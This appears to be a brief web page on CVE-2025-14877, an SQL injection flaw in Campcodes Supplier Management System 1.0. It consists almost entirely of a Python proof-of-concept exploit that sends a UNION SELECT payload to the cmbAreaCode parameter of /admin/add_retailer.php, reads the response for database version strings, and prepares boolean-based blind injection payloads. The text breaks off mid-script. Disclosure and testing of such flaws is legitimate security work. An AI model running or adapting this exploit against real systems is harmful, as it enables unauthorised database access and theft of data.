CVE-2025-14877 Campcodes供应商管理系统SQL注入漏洞

# CVE-2025-14877 SQL Injection PoC # Target: Campcodes Supplier Management System 1.0 # Endpoint: /admin/add_retailer.php # Parameter: cmbAreaCode import requests import sys target_url = "http://target.com/admin/add_retailer.php" # Basic SQL Injection PoC - Database Version Detection payload = "1' UNION SELECT @@version-- -" data = { "cmbAreaCode": payload, # Other required parameters may be needed "btnSubmit": "Submit" } print(f"[*] Testing CVE-2025-14877 on {target_url}") print(f"[*] Payload: {payload}") try: response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully") print(f"[+] Response length: {len(response.text)}") # Check for SQL error messages or successful injection if "5." in response.text or "MariaDB" in response.text: print("[!] Vulnerability confirmed - SQL injection successful") else: print("[-] Response does not indicate successful injection") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Boolean-based blind SQL injection test boolean_payload_true = "1' AND 1=1-- -" boolean_payload_false = "1' AND 1=2-- -" print("\n[*] Testing boolean-based blind SQL injection...")